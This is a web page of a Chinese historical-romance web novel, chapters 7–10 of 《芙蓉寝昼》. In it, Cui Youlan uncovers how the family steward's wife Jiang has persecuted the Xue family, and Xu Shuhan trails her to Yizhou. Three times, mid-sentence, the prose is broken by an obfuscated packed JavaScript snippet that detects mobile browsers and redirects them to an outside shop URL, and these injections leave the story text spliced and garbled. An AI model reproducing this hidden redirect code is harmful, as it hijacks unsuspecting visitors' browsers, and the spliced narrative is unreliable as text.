《芙蓉寝昼》 7. 旧友 今日来的是崔家在宜州最大的一个田庄,就在宜州城外不远,庄子连着肥沃的土地,又有山有水,可以说是宜州数一数二的好地界。 崔幼澜原先对宜州的记忆还非常浅薄模糊,可到了这里,反倒想起来许多。 那时也是这样,或是俞氏带着底下的子孙辈出来游玩,或是崔幼澜跟着母亲来,总之年幼时的日子总是惬意的,一日总是那样长,有大把的工夫是花费在玩耍上头,不会有任何烦心事。 人总是善于记住痛苦的事情,然而在某一个时刻想起来,其实令自己高兴的事也一直都在记忆中。 一行人到了庄子上,俞氏是要先歇一歇的,大家便也都陪伴在她身侧。 蒋氏亲自捧来新鲜的瓜果,道:“这是才采摘下来的,咱们乡下没有什么好东西,不过是尝个鲜罢了。” 俞氏年纪大了,害怕用这样生冷的吃食,于是只用银签插了一小块甜瓜,小小咬了一口便不再吃了。 蒋氏见状又到崔幼澜面前:“七娘子也尝尝,新鲜着呢!” 崔幼澜虽不喜蒋氏这样偏颇的殷勤,但也不好拂了她的脸面,毕竟俞氏都尝了,便也只能跟着吃了一块,蒋氏这才又捧到崔清月面前让崔清月尝了。 崔幼澜朝着崔清月眨了眨眼睛,崔清月回以一个笑容,然后认认真真地吃起了瓜果。 午间的饭菜也都是庄子上自家产的,蒋氏为人很是精明能干,早就把一切都安排得妥妥当当,为着俞氏的口味,特意将大多数菜肴都做得软烂鲜香,俞氏吃了几口便胃口大开,很是受用。 饭后蒋氏又拿了茶给俞氏漱口,顺便问道:“老夫人可要歇个午觉,屋子都收拾好了。” “不用,”俞氏抬了抬手,说话还是一向那么严肃,“方才我已经歇够了,今日我也没打算宿在庄子上,若是歇了午觉误了回去的时辰倒是不好了,且心里也想着到处走走逛逛,总还有些精神。” 蒋氏便点头应是,忙又吩咐人去准备,俞氏想了想又对崔幼澜她们道:“你们这两个丫头,若是不愿意陪着我去,便在庄子上玩。” 闻言,崔清月望了崔幼澜一眼,崔幼澜便道:“我和姐姐也去。” 三月的天说热还不是很热,崔幼澜戴了帷帽站在田间,微风和煦,从帷帽上轻纱的缝隙里钻进来,吹到脸上轻柔舒爽,令她原本还有些郁郁闭塞的内心也暂时松快了一些。 蒋氏走在俞氏身边,小心地搀扶着俞氏,一路喋喋不休地同俞氏说着庄子上的事,大到冬日里大雪压塌了的那间房,小到田里被日头晒死的一株草,她似乎都要全部念叨出来。 崔幼澜落后她们几步,小声对一旁的崔清月道:“你说婶娘说了那么多,她的口渴不渴?” 崔清月也忍不住掩唇笑了出来。 姐妹俩一面跟着俞氏她们走,一面在后面自己说说笑笑着,倒也开心。 谁知就在此时,忽然从后边传来一阵急促的脚步声,等俞氏等察觉之后回过头去看,只见后面的仆妇家丁已经拦住了一个人。 那人倒没有狠狠挣扎,只是不肯由着他们带下去,嘴上说道:“老夫人,求您宽限我们几日!” 蒋氏见状忙解释道:“是侄媳妇办事不周,让他过来惊扰了大家。”说完又一个劲儿使眼色,让他们赶紧把人弄走。 崔清月拉住崔幼澜,往俞氏身后躲去,侧了头不敢去看,而崔幼澜却仍隔着帷帽看着他们。 只见来者是个年轻男子,长得高高瘦瘦的,朗目疏眉,竟算得上面貌英伟,只是肤色有些黑,比之盛都那些年轻郎君便没有那么白净了。 她越看倒越觉得眼熟,不由想起一个人来,趁着俞氏还没发话,便连忙问道:“你是不是姓薛?” 崔幼澜没看到蒋氏脸上一闪而过的慌张,而那人已经回答道:“是,我叫薛泽。” “你大胆,你知道面前这是谁吗,就敢自报家门污了娘子的耳朵!”蒋氏走到他面前劈头盖脸怒斥道。 “婶娘不必怪罪,”崔幼澜笑了一笑,轻轻拍了拍崔清月的手,示意她不要担心,便走上前到了俞氏身边,“我说如此面善,原来竟是薛家的郎君,这是我们认识的。” 她又继续对着俞氏轻声道:“祖母可想起来了,那年回宜州,薛先生带着他在我们家小住过。” 大约四五年前,她也曾跟着长辈回过宜州一趟,那时还有几个兄弟也一起来,兄弟们淘气,到了宜州更是放开了玩儿,家中一时管束不住,又还要在宜州留一段时间,便干脆请了一位先生来家里。 这位先生姓薛,父辈也与崔家老太爷相识,虽科考屡屡不中,但学问却是极好的,在宜州也算是有名,他来了之后,也不知是用的什么法子,那些半大的郎君们果然听话了许多。 当时为了方便,薛先生就住在宜州老宅的外院中,他还带了自己的儿子薛泽过来,平日里也与崔家的郎君们一起上课管教。 崔幼澜那会儿年纪还小,时常跑到他们读书的地方去玩,自然也认识了薛泽,家里的兄弟们闹哄哄的,薛泽虽然也没有安静到哪里去,却更懂得分寸些,崔幼澜有时厌了兄弟们,便会和他说上几句话,薛泽也不因她是女子或是崔家千金而扭捏,总是有什么便说什么的。 只是这样的日子也不过半年,崔家便又回盛都去了,崔幼澜上辈子更是此后再也没回来过宜州,但薛泽这个人,她却是一直记着的。 不仅仅是因为年少时相交过,更是因为后头出了一件事,她做梦都不敢相信。 这也是前世的事了,那时她已经嫁给徐述寒过了两三年了,一日忽然听说崔家祖宅那里出了事,几个护院和管事受了伤,而伤人的人正是薛泽,据说他是白日里和崔家的人起了争执,夜里便进来报复,伤了人之后更是逃之夭夭,祖宅那边气不过第二日便报了官,官府当即便定了薛泽的罪,薛泽成了畏罪潜逃,从此也没有再出现过。 崔幼澜听说后根本不信,她见过薛先生父子,薛先生那样懂礼明义的读书人,薛泽为人又纯粹坦荡,根本不可能做出那样穷凶极恶的事,崔幼澜有心要再问一问仔细,或许另有隐情,然而当时她已经是徐家的人了,况且又与崔家关系紧张且疏远,自己在徐家又自顾不暇,与夫君亦不亲密,自然更无法将手伸到宜州,于是只得作罢。 只是往后每每想起薛泽,总觉得可惜,她晓得家里的兄弟们或是早就忘了薛泽这一个玩伴,所以也不甚在意,她记得却偏又不能相帮,只能暗自伤神。 没想到宜州一行竟有这样的契机,虽然眼下她尚且处于困境之中,但能拉一把薛泽就拉一把,万不能再让他落得上辈子一样身负罪名的下场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299184|140204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 家中大小事几乎都要在俞氏跟前过一遍,俞氏略一思索便恍然大悟,说道:“快将人放了,先前他突然冒出来,我倒也想听听是怎么回事。” 那些困着他的管事仆妇立刻将他松开,薛泽竟也没上前来,只是站在原地抬头看了看俞氏和崔幼澜,然后又很快低下头去,舔了舔有些干涸的嘴唇。 蒋氏已经说道:“原是他家的田地挨着咱们家的田地,去岁他家不小心将咱们家的田淹了,收成没了不说还伤了土地,当时他们也说了会照价赔偿,咱们家积善之家,万不会逼迫太过,一直到了今年才上门去问了问,当时他们只说没有,让我们再宽限一阵子,谁能想到到了今日,他就自己上门来了呢?” 蒋氏三言两语就把事情说清楚了,言辞间还有怪罪薛泽贸然闯过来的意思,崔幼澜自然不敢十分信她,只是又拿眼儿去看薛泽,没想到蒋氏说完之后,他却仍是方才那样低着头,似乎并没有要说话的意思。 崔幼澜便道:“薛泽,你那里是什么说法呢?” 薛泽抿了抿唇,眉头蹙得更紧,更显出他眉目高深,片刻后道:“没有什么话说,就是夫人说的那样。” 闻言,崔幼澜有些意外,可这毕竟是薛泽自己说出来,再要追问下去,反而是让蒋氏难堪了。 她还来得及说话,就听见俞氏已经说道:“既然是故旧,那么钱的事就不要再提了,更何况薛家从前也是读书人家,想必是有说不出的难处,这才来求人的,这孩子从前我也见过,他和他父亲是一样的品性。” 说罢便朝着蒋氏看了一眼,蒋氏素来有眼力见,早就换了一张笑脸出来:“是,是。” 崔幼澜刚要松口气,却不想薛泽竟说道:“老夫人,这是我们该赔的钱,我们不会欠,今日也不是故意要找老夫人和二位娘子来的时候才闹事的,实在是明日就到了期限,家中母亲放心不下,这才让我过来找人通融通融。” “倒果真是个好孩子,”俞氏点点头,“罢了,若真是执意不让你赔,反而折了你家的尊严,那便什么时候钱够了什么时候再拿来罢,不用着急。” 薛泽这才谢过,俞氏又问:“你如今可还在读书?” “读。”薛泽只简单一个字,并不说多余的话。 俞氏见他话少拘谨便也不再问了,只安慰道:“你先回家去罢,安心便是。” 薛泽走后,俞氏又叮嘱了蒋氏一番:“方才当着外人我不便说你,只是你该知道,崔家一向的规矩,要为善乡里,不可作威作福,我也怕宜州这里一时管束不到,便时常提醒,没想到还是有今日薛家的事,这实在不好。” 俞氏为人刻板严厉,自然是眼里揉不得沙子的,作为崔家的老太君,教训人更不会绕着弯子来,连消带打下来,蒋氏的脸上彻底绷不住了。 “侄媳妇知道错了,”蒋氏忍下一口暗气,连声说道,“实在是平日里疏忽了,只道那薛家自个儿说了要赔,便由着底下人去了,以后万不会再有这样的事,老夫人放心,宜州这里我一定打理得妥妥当当。” 因着薛泽的这一打岔,俞氏便没了心情,再加上也有些累了,便回庄子上歇了一会儿,然后打道回府了。 回到竹风阁,崔清月自去歇午觉去了,崔幼澜却没有,她略喝了口茶水,便让人请来了蒋氏。 8. 隐疾 对于蒋氏此人,崔幼澜是说不上多喜欢的,却也并没有觉得她有多大坏处,只不过似乎是为人势力些。 然而今日之事或许是因为事涉薛泽,她总觉得蒋氏有些古怪,又想起薛泽之后的事,便更不得不小心打听清楚。 蒋氏才亲自服侍俞氏躺下,她这几日总是这样殷勤,倒不忍让人说她什么,一听到崔幼澜有请,便马不停蹄地赶来了。 “七娘子有何事?”蒋氏知道崔幼澜是要入宫的,所以对她更是关心体贴。 崔幼澜正坐在窗前吃一块蜂蜜杏脯饼,见蒋氏来得这么快,也没有多少惊讶,只笑着道:“婶娘来了,快坐,我想问问今日庄子上的事。” 蒋氏坐下,拿起一个蜜橘一边剥一边说道:“娘子尽管问。” “倒也没什么要紧事,只是今日见到了薛家的郎君,便想问问薛家的事,”崔幼澜道,“我阿兄有时倒提起他,想着从前一块儿念过书也玩耍过。” 蒋氏脸上一僵,但她接话快,忙说道:“那是郎君念旧,薛家这些年……说来也不大好。” “不大好?怎么不大好?”崔幼澜稍稍坐直了身子。 薛泽上辈子的命运是否会和这个“不大好”有所联系? 蒋氏将剥好的蜜橘递到崔幼澜手上,道:“薛先生前几年已经没了,家里只剩下妻子陈氏和一双儿女,原先乡里乡亲的,大家倒都还让着他们孤儿寡母的,但那陈氏大抵是没了夫君,便格外刁钻些,常与旁人争吵不休,日子久了,大家也都苦不堪言,这次他家农田被水淹了,知道他家人少,本也该帮帮忙的,但都怕了那陈氏,便都冷眼旁观起来,陈氏做的孽,可惜苦了那孩子,这回知道他与咱们家有旧,平日里我也会多帮衬些的。” “原来是这样,”崔幼澜听了蒋氏的话后,对上蒋氏投过来的目光,脸上便故意闪过一丝嫌恶,然后塞了一瓣蒋氏给她的蜜橘到嘴里,“我最恨这样无端与人吵闹结仇的,如此说来,今日因也是昨日果,这薛家也实在是自作自受了。” 蒋氏悄悄松一口气,又继续说道:“七娘子说得是,那陈氏为人可恶,薛泽又一味愚孝,非但不说劝劝陈氏,反而常帮着他母亲一同找事,也学得和他母亲一个样子,可怜这好好的一个郎君,如此下去恐怕也是被毁了。” 崔幼澜轻叹一声,摇了摇头,不再说什么。 “我知道老夫人和七娘子心善,见不得人受苦,如今能对薛家宽宥,也是他们的福气了。”蒋氏道。 崔幼澜佯装着揉了揉额角,道:“我知道了,这倒不好回去与阿兄说,罢了。” 送走蒋氏之后,崔幼澜对凝碧道:“你悄悄往薛家附近去一趟,也不要惊动薛家,只暗暗打听,薛家究竟是不是婶娘说的那样。” 其实一别经年,当时年纪又还小,甚至也算不上很深交,若让崔幼澜说,她也不敢一口保证薛泽以及薛家的品行,然而蒋氏的话她总是信不太过的,薛泽连俞氏免了他们赔偿都不肯,也不是巧言善辩之人,又怎会是蒋氏口中所说那样? 再加上陈氏只是一个寡妇,薛泽又还没长成,她寻常怎么会去故意惹是生非,蒋氏的话实在不合常理。 嘴上说着会帮衬薛家,可又句句挑着薛家不好的地方说,这可不像是想帮人的样子。 凝碧原先就是帮着崔幼澜在外走动,采买她需要的物事的,听了崔幼澜的话之后,立刻便悄悄往外面去了。 裁冰便过来道:“娘子何必费这个心呢?多一事不如少一事吧!” 崔幼澜靠在引枕上没有说话。 她的运气说好也好,说不好也不好,虽然重生了,可重生的时机却不对,像是老天爷给了她一次机会,又刻意要嘲弄她一番,以至于诸事纷杂,她不仅仅是要解决自己的难题,同时还有祖母和六姐姐的,若只管顾着自己,那便太没有心肝了。 如今除了祖母和六姐姐,还多了一个薛泽,他看起来和崔幼澜根本没多大关系,但既然出现在她面前,她也想尽力去管一管。 也只有这样,她重活一世的机会才没有白费。 *** 盛都入夜后便下了一场暴雨,远处雷声阵阵,竟是今春的第一声春雷。 雨水如丝线一般顺着檐角往下落,很快在地上积起一个浅浅的小坑,雨滴四散,往外飞溅开去。 郑国公府三夫人李氏,正慢悠悠走在廊上,偶尔抬头去看一看那雨幕,又回头柔声提醒一句跟在自己身后的儿媳小李氏:“丹娘,你身子重了,走路小心着些。” 婆媳俩终于走到了大房的荣静堂,这里正灯火通明,里面隐约传来纷乱吵闹的人声,但稍一远些便被雨声所遮盖住,只有走近了才能听见。 门口的婢子为李氏打起帘子,李氏进去,一时屋内的人都纷纷转头来看她。 李氏尽力压下想笑出来的冲动,只拉了李丹娘的手走过去,道:“都看我做什么,我倒还不清楚到底怎么了呢,说到底与我并不相干。” 一边说着,一边不断拿眼去觑已经在这里的丈夫。 三老爷扭过头,竟是并不想多说什么,便只能由国公府长房老爷,也就是郑国公来解释:“下午时沈家传来的消息,说是大郎一早便去府上退了亲。” 李氏“呀”了一声,又淡淡道:“那大郎人呢,赶紧把他叫来问话才是。” 郑国公道:“跑了,从沈家出来就跑了,原来竟从前几日就称病告假了,只是我们不知道。。” “那总得有个说法啊,”李氏一点都不着急,“否则沈家也不肯依的。” 郑国公的脸色又难看了几分,他拿手点了点三弟,示意他继续说下去。 三老爷是徐述寒的亲生父亲,一时也觉得面子上挂不住,但又不得不说道:“大郎留了一封信,说是身体有隐疾,所以要外出求医,至于沈家那边,他退亲用的也是隐疾这个理由。” “隐疾?”李氏差点幸灾乐祸笑出来,“真是可惜了,原本还瞧着沈家娘子很好,是大郎没这个福气。” 这时一直坐在旁边不出声的叶氏道:“从没有听说过大郎身子有问题,素日都在一处,他何曾有过什么不妥?眼下忽然退亲,谁知道是不是借口,沈家的亲事是我从中牵线,莫不是对我不满,才故意让我难看?” 只见叶氏今年二十五六的年纪,比郑国公明显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299185|140204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要小许多,长了一张尖尖细细的瓜子儿脸,细眉毛小嘴巴,整个人都是小小的,连说话声音都是细声细气的。 听到她说话了,郑国公面上倒缓和了些许,柔声道:“怎么会呢,只是大郎一时任性罢了,等我把他找出来再好好问问。” “哼,”叶氏轻嗤了一声,故意侧转了身子坐着,“大郎又不是任性的人,莫不是被人挑唆了,我倒是一片好心给他说了亲事,别到头来叫大郎以为我是要掌控他,若真是如此,我看大郎啊,还是回去的好。” 这沈家是叶氏姐姐的婆家,叶氏从嫁入郑国公府之后,两家便有了些来往,正好沈家娘子沈雪音与徐述寒年岁相当,两人年幼时也见过几面,虽之后便不见了,但叶氏姐姐却记在了心上,找人来说了这门亲事。 叶氏话里有话,李氏听后自然忍不了,她一向也不是什么省油的灯,立刻便冷笑道:“大夫人,我们平日里都敬着你是国公府的夫人,但你也不能仗着年轻便胡乱说话。大郎是你的儿子,你为他说的亲事,这国公府上下又有谁反对过,谁又能挑唆什么?倒是你自己多了心,如今事情还未明了,便又说要让大郎回来,大郎当年是先前大夫人抱过去的,早已经去宗庙里上了族谱,名正言顺就过继在她的名下,也当做长房嫡子养了那么些年,又岂是你说回来就回来的?” 叶氏到底年轻,被李氏这么当面一呛,面皮便略红了红,但李氏这话虽然难听,却也没法让她反驳什么,只好强撑道:“我也是为了大郎好,这么多年我何曾亏待过他!” “是啊,沈家既那么好,你怎不把你姐姐亲生的女儿说来,非要说她隔了房的侄女呢?都知道沈家那位娘子早年便没了父母,在沈家过得和寄人篱下一般,等成了亲之后大郎更是没有岳家倚仗……”李氏说到这里便不说下去,目光却不断往叶氏脸上瞥。 叶氏一口银牙差点咬碎,可郑国公却似乎没有要帮她说话的意思,她思忖片刻后才愤愤道:“你别光说我,这亲事你不也乐见其成,你巴不得大郎说不到好亲事!” “好了好了,都少说两句!”最后还是三老爷看不下去,出言打断了李氏和叶氏之间的交锋,“当务之急是先把人找回来,还有大郎那隐疾,若是真的便要赶紧找来大夫治!” 一时李氏和叶氏的声音退却,周遭又安静了下来,只剩屋外下得越来越大的雨。 郑国公来回踱着步,许久后,他终于开口道:“除了大郎贴身的长随被他自己带走了之外,其余的人我都已经问过了,根本不知道他去了哪里,大郎有心要隐瞒踪迹,怕是一时半会儿也难找到了。只是沈家那里是最难办的,大郎既已去退了亲,若咱们还是执意要继续这门亲事,不说沈家还会不会同意,就是来日大郎找回来之后,他肯不肯呢?” 三老爷重重叹了一声气:“那怎么办?” 郑国公又沉吟半晌:“依我看还是先稳住沈家,不要声张此事,明日我便上门一趟,沈家总得给我这个面子,其余一切都等大郎回来了再说。” 闻言叶氏又要说话,这回被郑国公瞪了一眼,于是也只能讪讪扭过头去,一屋子的人各自不语,各自心里有自己的盘算。 9. 窥探 鸟雀扑腾着翅膀扫过树梢,季春之时,庭中草木葳蕤,花影扶疏,日光在地面上洒下淡淡一层金箔般的颜色,而那阴影之处,便如一笔浓墨,浓淡相宜。 “……薛家也没有办法,又不是那抵赖的性子,便只好就这样认了,他们也不是不想赶紧把那些钱还了,只是日子实在是极难,这才拖到了今年,也催到了今年,那日便是最后期限,薛家郎君实在是害怕母亲出事,便只能硬着头皮来求。” 屋子里有细碎的声音传出,最后一句说完之后,便听见有女子的声音悠悠叹了一声。 凝碧的动作很快,不过一日工夫便将薛家的事情都打听清楚了。 一切果然如崔幼澜所料,蒋氏没有说实话。 非但没有说实话,还隐瞒了许许多多的事。 蒋氏只道崔幼澜听过便罢,又是闺中女子,不好干涉什么,也查不出什么,没想到崔幼澜手里的仆婢都是崔家调/教得好好的,特别是凝碧向来在外走动,而宜州只是一个小城,蒋氏说到底也没有什么特别的手段,查些事情对凝碧来说根本是轻而易举。 原来蒋氏竟已在宜州作威作福多年,她仗着崔家在盛都高官厚禄,崔元媞又是皇后,行事便愈发无法无天,只把自己当做皇亲国戚,宜州这里也无人敢对她说什么,许多人有苦不敢言。 而薛家就是受害者其中之一。 事情的起因竟也不是蒋氏所说的薛家的地将旁边淹了,这已经是后话了。 蒋氏既狐假虎威,宜州城中除了害怕她的,自然也有对她溜须拍马的,时常往她这里来行些好处,蒋氏荤素不忌,小到一个鞋面,大到金银财物,她都通通收下,给她送礼的人中有一人便是薛家的邻里,早先便通过蒋氏身边一个仆妇来通了门路,虽送的东西都不是什么贵物,然而来得却殷勤,所以蒋氏很是受用。 当然,这礼自然不是白送,薛先生前几年去世之后,这邻居便动了歪心思,想强占了薛家房屋后面的空地,而那空地原本就是薛家所有,薛家自然是不肯的,莫说是强占,这祖上留下来的地便是卖都不肯卖的,于是那人往蒋氏处又送了一对金镯子,蒋氏便知道了这件事。 有了蒋氏撑腰,那人便愈发开始为难起薛家,毁损薛家在屋后种的蔬菜瓜果,推倒薛家的篱笆,这都成了常有之事,陈氏忍不住便吵了几次,反而被其到处散播了泼辣的名声,一开始薛家也不知道他为何如此嚣张,直到后来隔壁借口薛家院子里的树叶掉落到他家院中,便直接砸破了薛家大门,冲进去二话不说砍了院子里的树,才有人悄悄提醒薛泽和陈氏,他们隔壁的邻居已经找到了蒋氏做靠山。 薛家原本想去告官,这下也没了指望,蒋氏是崔家的人,这宜州城谁敢去告崔家?而这远远还不是结束,那人既盯紧了薛家的地,蒋氏既收取了钱财,便不可能善罢甘休。 双方纠缠了约莫也有两三年,薛家虽无权无势,可陈氏和薛泽都是硬骨头,无论对方怎么欺辱,都咬紧了牙根不肯把地送给对方,也不肯去讨好蒋氏,于是最后蒋氏想出了一个毒计。 恰好薛家有几亩田地与崔家的相邻,蒋氏便让人趁着一个雨夜故意往田里倒灌了许多河水,顺便也殃及了旁边崔家的田地,等薛家的人发现为时已晚,薛家虽然知道这件事有古怪,多半又是因为先前的纠葛,然而木已成舟,又拿不出证据,便也只能自己认下了。 俞氏问薛泽时,薛泽没有解释,一半是因为他本性纯良,不擅于狡辩脱罪,一半更是因为他根本不相信崔家,以为崔家的人都和蒋氏一样。 凝碧又继续说道:“这薛家也实在可怜,薛先生没的时候薛郎君还小,又被蒋氏捉弄欺负了好几年,连冤都没办法说,这薛郎君还是读书人,也被扰得读不好书,白日里在田里帮母亲一起干活,晚上才有工夫念书,一直要到深夜才去睡觉,都是为了还蒋氏的那点子债。” 一时连裁冰等几个也听得气愤,剪雪性子最跳脱泼辣,马上便接着道:“蒋氏不过是住在祖宅打理琐事的,怎么竟嚣张成这样?若是传扬出去,崔家的名声都给败坏了!” “剪雪,”崔幼澜沉声制止住她,又道,“蒋氏毕竟是我的长辈,无凭无据的倒拿她没有法子。” 她嘴上尚能冷静,可心里却直打鼓,已经是止不住地怀疑起来,上辈子薛泽的下场是否与蒋氏有关? 裁冰也道:“对啊,就算到了老夫人面前,老夫人也未必会相信,就算是相信了,也不能把她怎么样,顶多不让她管着祖宅,可她终究还是崔家的人,等咱们一走,不还是……” 崔幼澜思忖再三,才道:“此事定要解决,不过暂时急不得,让蒋氏有所警惕就不好了。” 她让裁冰拿了一包银两过来,交到凝碧手上:“明日你先悄悄去把这些钱给薛泽,让他先还了蒋氏,不要再耽误念书。” 凝碧自拿了钱去放好,崔幼澜又独自坐了半晌。 裁冰方才的话不无道理,就算把薛家的事告诉俞氏,俞氏也未必会信,毕竟只是乡间的一些传言,换个人便换种说法,谁又说得清。 但若是不去找俞氏,那便算是放弃了这件事,崔幼澜没有把握自己去抓住蒋氏的把柄,而她给薛泽的钱也只能救一时之急,等她们离开之后,薛家依旧是老样子。 再想到俞氏说过这次回来是为了收拢一部分产业,再把剩下的分给族人去经营,如此势必要动到如今蒋氏手中掌握的那些,说不定把蒋氏的所作所为告诉俞氏也是件益事,俞氏或许会去查一查,毕竟这些年受害的不止薛家。 就算最后什么都没成,让俞氏能约束一下蒋氏也是好的,崔幼澜不信俞氏能眼睁睁看着蒋氏在宜州为非作歹。 她打算等明日凝碧办完事再说,今日凝碧所说终究是出于他人之口,或许从薛家回来又有其他说法,稳妥些再去与俞氏说更好。 *** 徐述寒一路快马,几日后终于抵达了宜州。 他从未来过宜州,前世今生这还是第一次。 崔幼澜也从未向他提起过自己的老家,徐述寒也没有问过。 他们两个人在一起时的话本就不多,很少去主动和对方说什么,也从来不闲话家常。 有时入了夜两人坐着,对着一盏灯一言不发,就像两个陌生人。 然而有些事却避免不了,虽一开始两人都抵触,可后来时日久了,也总要行房事的,没有情,只有那么点两人都需要依靠对方满足的欲望。 如今想来过得也甚是荒唐。 徐述寒先在宜州找了处客栈落脚,永丰便回来了。 他对徐述寒道:“宜州不大,崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299186|140204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家祖宅就在前面那条街,属下已经偷偷去看过了,好气派呢!” 徐述寒道:“你带路。” 永丰自然应下,徐述寒这次出来为了方便便只带了两个随从,一个是永丰,专门给他跑腿,一个是永年,平日里就跟在他身边,见他要走,永年一边跟着徐述寒走,一边连忙劝道:“郎君去崔家干什么?咱们家与崔家素无来往,更何况是在宜州?” 徐述寒只是沉着脸不说话,直往外走,等上了马,他才对永丰永年道:“我去看看罢了。” 这下连永年也不好再说什么了,去崔家当然只是看看,难不成还要贸然上门?这平白无故的,也不知道徐述寒突然发哪门子癫。 崔家祖宅果然如永丰说的那般,就在前面不远处,徐述寒仍是找了个巷口隐住踪迹,也并不下马,只盯着崔家的大门看。 永丰和永年也不知对视了几眼,最后由永丰上前试探道:“郎君,你若是真有什么事,属下便过去问问。” 他们心里实则也是直发怵,一切都仿佛是徐述寒忽然起意,没来由的,那日忽然就用一根根本不存在的簪子找上了承恩侯府大门,那崔家也爱搭不理的,他竟又来了这宜州,在来之前还去了沈家把亲事退了,永丰永年都不傻,知道这两桩事必定有所联系,还不知道回去之后要怎么收场才好。 面对永丰的话,徐述寒还是不答,只是抬了抬手指,示意他们不要再说话。 幸好也没过多久,只见从崔家祖宅大门里出来一个婢子,穿了一身黄绿色的绸缎衣裳,步履有些匆匆,门房们见着她出来便纷纷向她低头哈腰,看样子应是内宅里主子面前得力的人,有人作势便要陪她走,但被她拒绝了。 徐述寒从来没见过这个婢子,上辈子崔幼澜带来的所有仆婢里面都没有她,但徐述寒也是知道些内情的,自从崔幼澜出了事,她身边的仆婢便大多都被打发走了,特别是身边贴身伺候的几个,都是后来才提上来的,原先并不是那几个。 他也说不上来为什么,只是直觉眼前那个绿衣婢子很可能是崔幼澜身边的人,毕竟这祖宅中能让门房如此殷勤的应该也没有几个人。 “你过去,”徐述寒对永丰道,“你跟着那个女子。” 永丰“嗳”了一声,又有些犹豫:“郎君,这样真的不好吧?” “我只让你跟着,又没让你做其他的事,”徐述寒语气淡淡,“只是弄清楚她在做什么。” 永丰走后,永年又道:“郎君咱们走吧!总是待在这里偷看有什么意思,哪怕是逛逛这宜州城也好啊!” 随着他的话音落下,徐述寒的马也在原地踏了两下,仿佛是在应和永年的话。 徐述寒抓着缰绳的手不知何时已经沁出了细汗,但是他却浑然不觉。 听到永年无意中说出“偷看”两个字,他竟觉得好笑。 徐述寒轻咳了一声,掩饰住自己的尴尬,道:“那便走罢。” 说完便调转马头走了,永年连忙跟在他身后,不由也松了一口气,但心里却还是发愁,徐述寒也是幼承庭训,光风霁月的人物,年纪轻轻更得圣上看重,如今却偷偷躲在人家门口窥探,也不知在看什么,问也不说,他竟不知自家郎君何时成了这样。 回去之后可要想些办法给他纠正过来,永年心道。 10. 作恶 凝碧第二日跑了一趟,这次倒没有昨日那么快,等快要晌午时她才回来,然后原封不动地将那包银两放到了崔幼澜面前。 崔幼澜早早用了饭正喝茶,见状不由放下了茶盏,问道:“他不肯收?” “唉,”凝碧坐下灌了几口茶水,才不断摇头道,“娘子,我好话都说尽了,他就是不肯收,否则我也不会拖到这会儿才回来,要我说他倒是实在有些骨气,咬定了要自己还就是自己还,我说那你不拿这钱去还蒋氏,便留下来自己用也好啊,家中还有母亲和妹妹,哪里用不到钱呢,我家娘子也是看你家可怜,家中又与薛先生有旧才给你家的,并不是独独给你的,你拿了钱安安心心读书才是,没想到他还是不肯,他那母亲也犟,他不收她也不收,我只好回来了。” 崔幼澜愣了一愣,忽然后悔起来。 薛家被蒋氏欺负了这么些年,换个无赖些的怕是也已经破罐子破摔了,薛家去年农田都被毁了,既没了营生又要赔钱,薛泽却还是咬牙认了,一直在老老实实攒钱还给蒋氏,足可见其人品珍贵。 而昨日俞氏也提了不要他再赔,薛泽当场拒了,连俞氏也就此说罢,并道不愿折辱了他家,可当时崔幼澜却只一味想着自己的事,想着要把薛泽捞出来,而忽略了这一点。 她让凝碧捧着钱过去,无异于是伤了薛家的自尊。 薛泽有手有脚,并不想接受她的恩惠。 况且蒋氏已经借着崔家的名头作恶那么久,薛家更是深受其害,薛泽又怎么会接受来自于她的帮助? 崔幼澜一言不发,重新将那包银两收回到箱柜中,然后去了一趟老宅中祖父在世时藏书的地方,花费了一会儿工夫仔仔细细挑了一些书出来,装进书匣中让凝碧再去带给薛泽。 薛泽还是在读书的,这些书对于他来说,才是最需要的。 银钱只能救一时之急,而书却可以令他将来免于蒋氏这种人的毒手,只要他能考取功名。 就连徐述寒,虽出身国公府,然而身份尴尬,在府中一直受到冷眼,他走的也是科举的路子。 想起薛泽上辈子的下场,崔幼澜更为唏嘘,他伤了人后跑了,更是一辈子无望,再联系蒋氏的所作所为,虽不能完全确定,但十有八九和她有关系,否则薛泽为何伤的会是崔家的人呢? 可恨她当时无能为力,竟是让蒋氏仗着崔家害了薛泽。 崔幼澜也不想再拖延了,凝碧走后,她立刻便去见了俞氏。 崔幼澜因蒋氏和薛家一事憋了一肚子火,再加上前世薛泽有可能受到的冤屈,便更是愤懑难平,一股脑儿只将事情全部说了出来。 